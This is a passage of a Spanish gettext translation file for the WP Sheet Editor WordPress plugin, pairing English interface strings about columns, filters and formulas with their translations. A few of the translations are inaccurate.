columns-manager/columns-manager.php:554 #: wp-sheet-editor/dev/inc/api/bootstrap.php:830 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr ". Agrega categorías hijas usando este formato: Padre > hija1 > hija2" #: columns-manager/columns-manager.php:563 msgid "Enter multiple terms separated by commas" msgstr "Ingresa varios términos separados por comas" #: columns-manager/columns-manager.php:581 msgid "Enter multiple post titles separated by commas" msgstr "Ingresa varios títulos separados por comas" #: columns-manager/columns-manager.php:1111 #: wp-sheet-editor/dev/inc/api/bootstrap.php:182 #: wp-sheet-editor/dev/inc/options-init.php:564 #: wp-sheet-editor/dev/inc/options-init.php:567 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "Ajustes" #: columns-manager/columns-manager.php:1127 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "¿Es de sólo lectura?" #: columns-manager/columns-manager.php:1131 msgid "" "Read-only columns will display a lock and it won't be possible to edit them " "anywhere in the spreadsheet. This is not a security feature because people " "still can edit in the regular WP screens." msgstr "" "Las columnas de sólo lectura mostrarán un candado y no será posible " "editarlas en ninguna parte de la hoja de cálculo. Esto no es una " "característica de seguridad porque la gente todavía puede editar en las " "pantallas normales de WP." #: columns-manager/columns-manager.php:1140 msgid "User capabilities that can read this column" msgstr "Capacidades del usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1140 msgid "" "The column will appear in the spreadsheet and exports if the user has a role " "with the required capability." msgstr "" "La columna aparecerá en la hoja de cálculo y en las exportaciones si el " "usuario tiene un rol con la capacidad requerida." #: columns-manager/columns-manager.php:1143 msgid "User capabilities that can edit this column" msgstr "Capacidades de usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1143 msgid "" "The column will be read only if the user doesn't have a role with the " "required capability." msgstr "" "La columna puede ser leía solo si el usuario no tiene un rol con la " "capacidad requerida." #: columns-manager/columns-manager.php:1154 msgid "Separated with commas" msgstr "Separados por comas" #: columns-manager/columns-manager.php:1155 msgid "Serialized array" msgstr "Array serializado" #: columns-manager/columns-manager.php:1158 msgid "File ID" msgstr "ID del archivo" #: columns-manager/columns-manager.php:1159 formulas/inc/ui.php:998 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "URL del archivo" #: columns-manager/columns-manager.php:1162 msgid "Use default" msgstr "Usar por defecto" #: columns-manager/columns-manager.php:1163 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "Sí" #: columns-manager/columns-manager.php:1164 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "No" #: columns-manager/columns-manager.php:1167 #: columns-manager/columns-manager.php:1172 #: wp-sheet-editor/dev/inc/api/bootstrap.php:463 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:1168 msgid "Username" msgstr "Nombre de usuario" #: columns-manager/columns-manager.php:1169 #: columns-manager/columns-manager.php:1212 msgid "Email" msgstr "Correo electrónico" #: columns-manager/columns-manager.php:1173 #: wp-sheet-editor/dev/inc/api/bootstrap.php:484 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Título" #: columns-manager/columns-manager.php:1174 #: columns-manager/columns-manager.php:1183 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:1177 msgid "Saved them separated by comma" msgstr "Guárdalos separados por comas" #: columns-manager/columns-manager.php:1178 msgid "Save them as serialized array" msgstr "Guárdalos como un array serializado" #: columns-manager/columns-manager.php:1181 msgid "Term ID" msgstr "ID del término" #: columns-manager/columns-manager.php:1182 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 woocommerce/inc/variations.php:506 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:946 msgid "Name" msgstr "Nombre" #: columns-manager/columns-manager.php:1187 msgid "Same as the spreadsheet taxonomy" msgstr "Igual que la taxonomía de la hoja de cálculo" #: columns-manager/columns-manager.php:1193 msgid "Same as the spreadsheet post type" msgstr "Igual que el post type de la hoja de cálculo" #: columns-manager/columns-manager.php:1198 msgid "Automatic" msgstr "Automático" #: columns-manager/columns-manager.php:1199 msgid "Text" msgstr "Texto" #: columns-manager/columns-manager.php:1200 msgid "Text editor (tinymce)" msgstr "Editor de texto (tinymce)" #: columns-manager/columns-manager.php:1201 msgid "Single selection dropdown" msgstr "Desplegable de selección simple" #: columns-manager/columns-manager.php:1202 msgid "Multi select dropdown" msgstr "Desplegable de selección múltiple" #: columns-manager/columns-manager.php:1203 msgid "Checkbox" msgstr "Casilla de verificación" #: columns-manager/columns-manager.php:1204 msgid "File upload" msgstr "Cargar archivo" #: columns-manager/columns-manager.php:1205 #: wp-sheet-editor/dev/inc/api/bootstrap.php:614 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Fecha" #: columns-manager/columns-manager.php:1206 msgid "Date and time" msgstr "Fecha y hora" #: columns-manager/columns-manager.php:1207 msgid "User dropdown" msgstr "Desplegable de usuario" #: columns-manager/columns-manager.php:1208 msgid "Post dropdown" msgstr "Desplegable de posts" #: columns-manager/columns-manager.php:1209 msgid "Taxonomy term dropdown" msgstr "Desplegable de términos de taxonomía" #: columns-manager/columns-manager.php:1210 msgid "Currency" msgstr "Moneda" #: columns-manager/columns-manager.php:1211 msgid "URL" msgstr "URL" #: columns-manager/columns-manager.php:1213 formulas/inc/ui.php:336 #: formulas/inc/ui.php:364 msgid "Number" msgstr "Número" #: columns-manager/columns-manager.php:1214 msgid "Clickable button" msgstr "Botón" #: columns-manager/columns-manager.php:1215 msgid "Raw HTML" msgstr "Raw HTML" #: columns-manager/columns-manager.php:1221 #: wp-sheet-editor/dev/inc/api/helpers.php:955 msgid "Default" msgstr "Por defecto" #: columns-manager/columns-manager.php:1233 msgid "Column format" msgstr "Formato de columna" #: columns-manager/columns-manager.php:1238 msgid "" "This format will only allow administrators with the capability " "unfiltered_html to save any HTML in this column, we'll still remove unsafe " "html tags when non-administrators save values in this column." msgstr "" "Este formato sólo permitirá a los administradores con la capacidad " "unfiltered_html guardar cualquier HTML en esta columna, seguiremos " "eliminando las etiquetas html no seguras cuando los no administradores " "guarden valores en esta columna." #: columns-manager/columns-manager.php:1241 msgid "" "This can be used if the cell value will always be a URL, so the cell will be " "displayed as readonly and it will contain a button that will open the URL " "from the cell value." msgstr "" "Esto se puede utilizar si el valor de la celda será siempre una URL, por lo " "que la celda se mostrará como de sólo lectura y contendrá un botón que " "abrirá la URL a partir del valor de la celda." #: columns-manager/columns-manager.php:1244 #: columns-manager/columns-manager.php:1249 msgid "Allowed values" msgstr "Valores permitidos" #: columns-manager/columns-manager.php:1245 #: columns-manager/columns-manager.php:1250 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this: red : Red" msgstr "" "Ingresa cada selección en una nueva línea. Para mayor control, puedes " "especificar un valor y una etiqueta así: rojo : Rojo" #: columns-manager/columns-manager.php:1252 msgid "How are the multiple values saved in the database?" msgstr "¿Cómo se guardan los valores múltiples en la base de datos?" #: columns-manager/columns-manager.php:1257 msgid "What value is saved when the checkbox is checked?" msgstr "¿Qué valor se guarda cuando la casilla de verificación está marcada?" #: columns-manager/columns-manager.php:1259 msgid "What value is saved when the checkbox is unchecked?" msgstr "" "¿Qué valor se guarda cuando la casilla de verificación está desmarcada?" #: columns-manager/columns-manager.php:1263 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre de usuario en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1264 msgid "How is the user saved in the database?" msgstr "¿Cómo se guarda el usuario en la base de datos?" #: columns-manager/columns-manager.php:1269 msgid "" "You will be able to type the term name in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre del término en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1270 msgid "How is the taxonomy term saved in the database?" msgstr "¿Cómo se guarda el término taxonómico en la base de datos?" #: columns-manager/columns-manager.php:1275 msgid "Allow multiple terms per field?" msgstr "¿Permitir varios términos por campo?" #: columns-manager/columns-manager.php:1277 msgid "How do you want to save the multiple terms?" msgstr "¿Cómo quieres guardar los términos múltiples?" #: columns-manager/columns-manager.php:1280 msgid "Accept terms from this taxonomy" msgstr "Aceptar términos de esta taxonomía" #: columns-manager/columns-manager.php:1281 msgid "" "For example, if you select the blog categories, we will only accept blog " "categories in this column." msgstr "" "Por ejemplo, si seleccionas las categorías del blog, sólo aceptaremos " "categorías del blog en esta columna." #: columns-manager/columns-manager.php:1285 msgid "" "You will be able to type numbers without formatting, for example: 999999.88 " "or 100, and we will automatically save them in the formatted way. This " "conversion will happen when you save and not live when you edit in the cells " "and you will see the modified values on the next spreadsheet reload." msgstr "" "Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los " "guardaremos automáticamente con formato. Esta conversión se producirá cuando " "guardes y no en directo cuando edites en las celdas y verás los valores " "modificados en la siguiente recarga de la hoja de cálculo." #: columns-manager/columns-manager.php:1286 msgid "Number of decimals" msgstr "Número de decimales" #: columns-manager/columns-manager.php:1289 msgid "Decimals separator" msgstr "Separador de decimales" #: columns-manager/columns-manager.php:1292 msgid "Thousands separator" msgstr "Separador de miles" #: columns-manager/columns-manager.php:1296 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el título de la entrada en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1297 msgid "How is the post saved in the database?" msgstr "¿Cómo se guarda el post en la base de datos?" #: columns-manager/columns-manager.php:1301 msgid "Allow multiple posts per field?" msgstr "¿Permitir varios posts por campo?" #: columns-manager/columns-manager.php:1303 msgid "How do you want to save the multiple posts?" msgstr "¿Cómo quieres guardar los posts múltiples?" #: columns-manager/columns-manager.php:1306 msgid "Accept post from this post type" msgstr "Aceptar posts de este post type" #: columns-manager/columns-manager.php:1307 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Por ejemplo, si seleccionas el post type \"producto\", sólo aceptaremos " "títulos de productos." #: columns-manager/columns-manager.php:1311 msgid "How is the file saved in the database?" msgstr "¿Cómo se guarda el archivo en la base de datos?" #: columns-manager/columns-manager.php:1312 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "La celda mostrará los valores como URLs y puedes editar en las celdas usando " "URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs " "externas se importan automáticamente en la biblioteca multimedia." "
                  Guardaremos el valor en el formato seleccionado aquí" #: columns-manager/columns-manager.php:1316 msgid "Allow multiple files per field?" msgstr "¿Permitir varios archivos por campo?" #: columns-manager/columns-manager.php:1317 msgid "How do you want to save the multiple files?" msgstr "¿Cómo quieres guardar los archivos múltiples?" #: columns-manager/columns-manager.php:1322 msgid "What date format do you want to display in the spreadsheet?" msgstr "¿Qué formato de fecha quieres mostrar en la hoja de cálculo?" #: columns-manager/columns-manager.php:1323 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d" #: columns-manager/columns-manager.php:1326 #: columns-manager/columns-manager.php:1335 msgid "What date format do you want to save in the database?" msgstr "¿Qué formato de fecha quieres guardar en la base de datos?" #: columns-manager/columns-manager.php:1327 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d" #: columns-manager/columns-manager.php:1331 msgid "What date time format do you want to display in the spreadsheet?" msgstr "" "¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?" #: columns-manager/columns-manager.php:1332 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "D-M-A\n" "\n" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d H:i:s" #: columns-manager/columns-manager.php:1336 msgid "" "Enter a date format. List of formats. Example: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d H:i:s" #: columns-manager/inc/column-groups.php:49 msgid "Spreadsheet views" msgstr "Vista de hojas de cálculo" #: columns-manager/inc/column-groups.php:82 #: wp-sheet-editor/dev/inc/options-init.php:562 #: wp-sheet-editor/dev/wp-sheet-editor.php:1147 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:83 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Nota. Esta no es una característica de seguridad, el usuario puede editar " "todos los campos en el editor normal basado en el rol. Esta opción es por " "conveniencia, para que los usuarios puedan solo ver las columnas que " "necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, " "podrán cambiar entre todas las vistas existentes" #: columns-manager/inc/column-groups.php:100 msgid "%s: Allowed spreadsheet views" msgstr "%s: Hojas de cálculo permitidas" #: columns-manager/inc/column-groups.php:103 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas " "por comas." #: columns-manager/inc/column-groups.php:332 msgid "Add a name for this group of columns" msgstr "Agrega un nombre para este grupo de columnas" #: columns-manager/inc/column-groups.php:332 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Guardaremos este grupo de columnas como una vista de la hoja de cálculo y " "podrás cambiar entre vistas en la barra de herramientas" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:326 msgid "Rename column" msgstr "Renombrar columna" #: columns-renaming/columns-renaming.php:59 #: columns-visibility/columns-visibility.php:156 #: columns-visibility/columns-visibility.php:169 #: columns-visibility/columns-visibility.php:209 #: universal-sheet/universal-sheet.php:139 woocommerce/inc/attributes.php:795 #: woocommerce/inc/attributes.php:1015 woocommerce/inc/variations.php:1252 #: woocommerce/inc/variations.php:1279 wp-sheet-editor/dev/inc/ajax.php:73 #: wp-sheet-editor/dev/inc/ajax.php:160 wp-sheet-editor/dev/inc/ajax.php:192 #: wp-sheet-editor/dev/inc/ajax.php:237 wp-sheet-editor/dev/inc/ajax.php:284 #: wp-sheet-editor/dev/inc/ajax.php:305 wp-sheet-editor/dev/inc/ajax.php:383 msgid "Missing parameters." msgstr "Parámetros faltantes." #: columns-renaming/columns-renaming.php:63 #: columns-visibility/columns-visibility.php:160 #: columns-visibility/columns-visibility.php:173 #: columns-visibility/columns-visibility.php:269 msgid "You dont have enough permissions to execute this action." msgstr "No tienes suficientes permisos para ejecutar esta acción." #: columns-visibility/columns-visibility.php:164 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Columnas restauradas con éxito. Por favor, recarga la página para ver las " "columnas restauradas y habilitarlas" #: columns-visibility/columns-visibility.php:356 msgid "Hide / Display / Sort columns" msgstr "Ocultar / Mostrar columnas" #: columns-visibility/views/form.php:12 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Arrastra las columnas a la izquierda o a la derecha para habilitarlas/" "deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. " "Haz clic en el botón \"editar\" para renombrarlas, haz clic en el botón " "\"x\" para borrarlas por completo (sólo cuando estén deshabilitadas " "previamente)." #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:73 msgid "Enable all" msgstr "Habilitar todas" #: columns-visibility/views/form.php:16 columns-visibility/views/form.php:27 msgid "Disable all" msgstr "Deshabilitar todas" #: columns-visibility/views/form.php:22 msgid "Enabled" msgstr "Habilitadas" #: columns-visibility/views/form.php:22 columns-visibility/views/form.php:67 msgid "Bulk" msgstr "Masivo" #: columns-visibility/views/form.php:24 columns-visibility/views/form.php:70 msgid "Enter a search term..." msgstr "Ingresa un término de búsqueda..." #: columns-visibility/views/form.php:26 columns-visibility/views/form.php:72 #: universal-sheet/views/import-modal.php:85 msgid "Bulk actions" msgstr "Acciones masivas" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:75 msgid "Sort alphabetically ASC" msgstr "Ordenar alfabéticamente ASC" #: columns-visibility/views/form.php:29 columns-visibility/views/form.php:76 msgid "Sort alphabetically DESC" msgstr "Ordenar alfabéticamente DESC" #: columns-visibility/views/form.php:56 columns-visibility/views/form.php:99 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Quitar la columna completamente. Si quieres usarla más tarde, puedes " "deshabilitarla arrastrando y soltando a la columna de la derecha" #: columns-visibility/views/form.php:58 columns-visibility/views/form.php:101 msgid "Disable column. You can enable it later." msgstr "Deshabilitar columna. Puedes habilitarla más tarde." #: columns-visibility/views/form.php:59 columns-visibility/views/form.php:102 msgid "Enable column" msgstr "Habilitar columna" #: columns-visibility/views/form.php:67 msgid "Disabled" msgstr "Deshabilitada" #: columns-visibility/views/form.php:74 msgid "Delete all" msgstr "Borrar todo" #: columns-visibility/views/form.php:95 msgid "Enabling this column requires a page reload" msgstr "Habilitar esta columna requiere una recarga de la página" #: columns-visibility/views/form.php:114 msgid "A column is missing?" msgstr "¿Falta una columna?" #: columns-visibility/views/form.php:116 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Primero, edita un elemento en el editor normal y rellena todos los campos " "manualmente." #: columns-visibility/views/form.php:125 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Podemos escanear la base de datos, encontrar nuevos campos y crear " "columnas automáticamente" #: columns-visibility/views/form.php:132 msgid "You can do this multiple times" msgstr "Puedes hacer esto varias veces" #: columns-visibility/views/form.php:132 msgid "Scan Now" msgstr "Escanear Ahora" #: columns-visibility/views/form.php:137 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Si la solución anterior falló, puedes crear nuevas columnas manualmente." #: columns-visibility/views/form.php:137 msgid "Create column" msgstr "Crear columna" #: columns-visibility/views/form.php:139 msgid "- Maybe you deleted the columns from the list." msgstr "- Quizá eliminaste las columnas de la lista." #: columns-visibility/views/form.php:139 msgid "Restore deleted columns" msgstr "Restaurar columnas eliminadas" #: columns-visibility/views/form.php:140 msgid "- We can help you." msgstr "- Podemos ayudarte." #: columns-visibility/views/form.php:140 #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #: wp-sheet-editor/dev/wp-sheet-editor.php:1056 msgid "Contact us" msgstr "Contáctanos" #: columns-visibility/views/form.php:146 msgid "Save these settings for future sessions?" msgstr "¿Guardar estos ajustes para sesiones futuras?" #: columns-visibility/views/form.php:154 msgid "Apply settings" msgstr "Aplicar ajustes" #: columns-visibility/views/form.php:155 filters/filters.php:573 #: formulas/inc/ui.php:153 universal-sheet/views/import-modal.php:228 #: woocommerce/views/spreadsheet-create-variations-modal.php:112 #: wp-sheet-editor/dev/inc/integrations/notifier.php:296 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:289 #: wp-sheet-editor/dev/views/editor-page.php:340 #: wp-sheet-editor/dev/views/editor-page.php:364 #: wp-sheet-editor/dev/views/extensions-modal.php:10 #: wp-sheet-editor/dev/views/settings-form.php:121 #: wp-sheet-editor/dev/views/support-modal.php:24 msgid "Close" msgstr "Cerrar" #: custom-columns/custom-columns.php:431 msgid "Add columns for custom fields" msgstr "Añadir columnas nuevas para campos personalizados" #: custom-columns/custom-columns.php:580 msgid "Missing columns" msgstr "Columnas faltantes" #: custom-columns/custom-columns.php:622 msgid "Missing post type or column_key" msgstr "Falta el post type o la column_key (clave de la columna)" #: custom-columns/custom-columns.php:625 custom-columns/custom-columns.php:649 #: custom-columns/custom-columns.php:672 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "No puedes realizar esta acción. Por favor, recarga la página o inicia sesión " "de nuevo." #: custom-columns/custom-columns.php:635 msgid "The meta field was deleted successfully" msgstr "El campo meta fue eliminado con éxito" #: custom-columns/custom-columns.php:639 msgid "The meta field could not be deleted." msgstr "El campo meta no pudo ser eliminado." #: custom-columns/custom-columns.php:646 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Falta el post type, old_column_key, o new_column_key; o la clave antigua y " "la clave nueva son iguales." #: custom-columns/custom-columns.php:662 msgid "The meta key was renamed successfully" msgstr "La clave meta fue renombrada con éxito" #: custom-columns/custom-columns.php:666 msgid "The meta key couldnt be renamed." msgstr "La clave meta no pudo ser renombrada." #: custom-columns/custom-columns.php:703 msgid "Columns could not be saved. Try again." msgstr "Las columnas no se pudieron guardar. Inténtalo de nuevo." #: custom-columns/custom-columns.php:706 msgid "Changes saved" msgstr "Cambios guardados" #: custom-columns/custom-columns.php:720 msgid "Are you sure you want to delete this column?" msgstr "¿Estás seguro de que quieres borrar esta columna?" #: custom-columns/custom-columns.php:728 msgid "Custom columns" msgstr "Columnas personalizadas" #: custom-columns/views/settings-page.php:11 #: spreadsheet-setup/views/page.php:11 #: wp-sheet-editor/dev/inc/api/bootstrap.php:146 #: wp-sheet-editor/dev/views/editor-page.php:70 #: wp-sheet-editor/dev/views/extensions-page.php:16 #: wp-sheet-editor/dev/views/quick-setup.php:28 #: wp-sheet-editor/dev/views/settings-page.php:5 #: wp-sheet-editor/dev/views/whats-new.php:12 #: wp-sheet-editor/dev/wp-sheet-editor.php:1153 msgid "Sheet Editor" msgstr "Sheet Editor" #: custom-columns/views/settings-page.php:14 msgid "Add New Columns to the Spreadsheet" msgstr "Agregar nuevas columnas a la hoja de cálculo" #: custom-columns/views/settings-page.php:16 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Ingresa el nombre de la columna (lo que quieras) y selecciona la clave de " "campo en el menú desplegable. Si no la encuentras, puedes escribirla en el " "desplegable. Ver Tutorial " #: custom-columns/views/settings-page.php:17 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Habilita el modo avanzado en la parte inferior de la página para " "personalizar el ancho de la columna, el formato (editor, carga de archivos, " "taxonomías), etc." #: custom-columns/views/settings-page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Need help? Contact us" msgstr "¿Necesitas ayuda? Contáctanos" #: custom-columns/views/settings-page.php:38 msgid "Column name" msgstr "Nombre de columna" #: custom-columns/views/settings-page.php:38 msgid "The column name displayed in the spreadsheet" msgstr "Nombre de la columna que se muestra en la hoja de cálculo" #: custom-columns/views/settings-page.php:42 msgid "Column key" msgstr "Clave de la columna" #: custom-columns/views/settings-page.php:42 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Clave que se utilizará para guardar la información en la base de datos. Debe " "ser única, sólo letras y guiones bajos." #: custom-columns/views/settings-page.php:62 msgid "Data source" msgstr "Fuente de datos" #: custom-columns/views/settings-page.php:62 msgid "Select the kind of information used in the cells of this column." msgstr "" "Selecciona el tipo de información utilizada en las celdas de esta columna." #: custom-columns/views/settings-page.php:64 msgid "Post data" msgstr "Datos del post" #: custom-columns/views/settings-page.php:65 msgid "Post meta (i.e. metaboxes)" msgstr "Meta del post (es decir, metaboxes)" #: custom-columns/views/settings-page.php:66 msgid "Post terms (i.e. categories)" msgstr "Términos del post (es decir, categorías)" #: custom-columns/views/settings-page.php:70 msgid "Post type(s)" msgstr "Post type(s)" #: custom-columns/views/settings-page.php:70 msgid "What kind of posts require this column in the spreadsheet?" msgstr "¿Qué post types requieren esta columna en la hoja de cálculo?" #: custom-columns/views/settings-page.php:95 msgid "Allow to edit using formulas?" msgstr "¿Permitir editar usando fórmulas?" #: custom-columns/views/settings-page.php:95 msgid "If you disable this option, this column will be edited manually only." msgstr "Si deshabilitas esta opción, esta columna sólo se editará manualmente." #: custom-columns/views/settings-page.php:99 msgid "Allow to hide column?" msgstr "¿Permitir ocultar la columna?" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide this column on the settings page?" msgstr "¿Permitir ocultar esta columna en la página de ajustes?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column?" msgstr "¿Permitir renombrar la columna?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column on the settings page?" msgstr "¿Permitir renombrar la columna en la página de ajustes?" #: custom-columns/views/settings-page.php:107 msgid "Cell type" msgstr "Tipo de celda" #: custom-columns/views/settings-page.php:107 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Selecciona el formato de las celdas, si las celdas deben ser de texto " "normal, un cargador de archivos o un editor de texto." #: custom-columns/views/settings-page.php:110 msgid "Normal cell" msgstr "Celda normal" #: custom-columns/views/settings-page.php:111 msgid "TinyMCE Editor" msgstr "Editor TinyMCE" #: custom-columns/views/settings-page.php:112 msgid "File upload (single)" msgstr "Carga de archivos (individual)" #: custom-columns/views/settings-page.php:113 msgid "File upload (multiple)" msgstr "Carga de archivos (múltiple)" #: custom-columns/views/settings-page.php:117 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Simple text" msgstr "Texto simple" #: custom-columns/views/settings-page.php:120 #: custom-columns/views/settings-page.php:129 msgid "Calendar" msgstr "Calendario" #: custom-columns/views/settings-page.php:121 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" "Menú desplegable de taxonomías. Sólo si la fuente de datos = Términos del " "post." #: custom-columns/views/settings-page.php:122 #: custom-columns/views/settings-page.php:131 msgid "Unfiltered HTML" msgstr "HTML sin filtrar" #: custom-columns/views/settings-page.php:126 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:130 msgid "Taxonomy dropdown" msgstr "Desplegado de taxonomías" #: custom-columns/views/settings-page.php:135 msgid "Column width (pixels)" msgstr "Ancho de columna (pixeles)" #: custom-columns/views/settings-page.php:141 formulas/inc/ui.php:195 msgid "Delete" msgstr "Eliminar" #: custom-columns/views/settings-page.php:148 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:339 msgid "Add new column" msgstr "Añadir nueva columna" #: custom-columns/views/settings-page.php:152 msgid "Advanced mode" msgstr "Modo avanzado" #: factory.php:226 wp-sheet-editor/dev/wp-sheet-editor.php:1356 msgid "My license" msgstr "Mi licencia" #: filters/filters.php:197 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Para buscar entre todos los posts, usa la herramienta de búsqueda. Se usa " "para localizar y resaltar un valor en las filas cargadas en la hoja de " "cálculo. Es decir, resaltar un SKU, correo electrónico o título específico." #: filters/filters.php:198 msgid "Locate cell" msgstr "Localizar celda" #: filters/filters.php:199 msgid "Locate cell." msgstr "Localizar celda." #: filters/filters.php:207 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás " "tener que desplazarte por docenas de columnas para encontrar la que " "necesitas." #: filters/filters.php:208 filters/filters.php:209 msgid "Locate column" msgstr "Localizar columna" #: filters/filters.php:224 filters/filters.php:236 filters/filters.php:521 msgid "Search" msgstr "Buscar" #: filters/filters.php:236 msgid "Quick search" msgstr "Búsqueda rápida" #: filters/filters.php:236 msgid "Enter a keyword" msgstr "Ingresa una palabra clave" #: filters/filters.php:491 msgid "Contains keyword" msgstr "Contiene palabra clave" #: filters/filters.php:492 msgid "" "It searches in the post title and post content. Search by multiple keywords " "separating keywords with a semicolon (;)" msgstr "" "Busca en el título de la entrada y en su contenido. Busca por varias " "palabras clave separándolas con punto y coma (;)" #: filters/filters.php:501 wp-sheet-editor/dev/inc/api/bootstrap.php:705 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Estado" #: filters/filters.php:559 msgid "Enter a username or email..." msgstr "Ingresa un nombre de usuario o correo electrónico..." #: filters/filters.php:572 msgid "Run search" msgstr "Ejecutar búsqueda" #: formulas/formulas.php:84 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno" #: formulas/formulas.php:97 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:102 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "#PQ8SPQ inválido. La fórmula matemática contiene una coma: %s" #: formulas/formulas.php:107 msgid "Invalid #8W89PWQ. Math formula is invalid." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:118 msgid "Invalid #PQ8PHP. The PHP 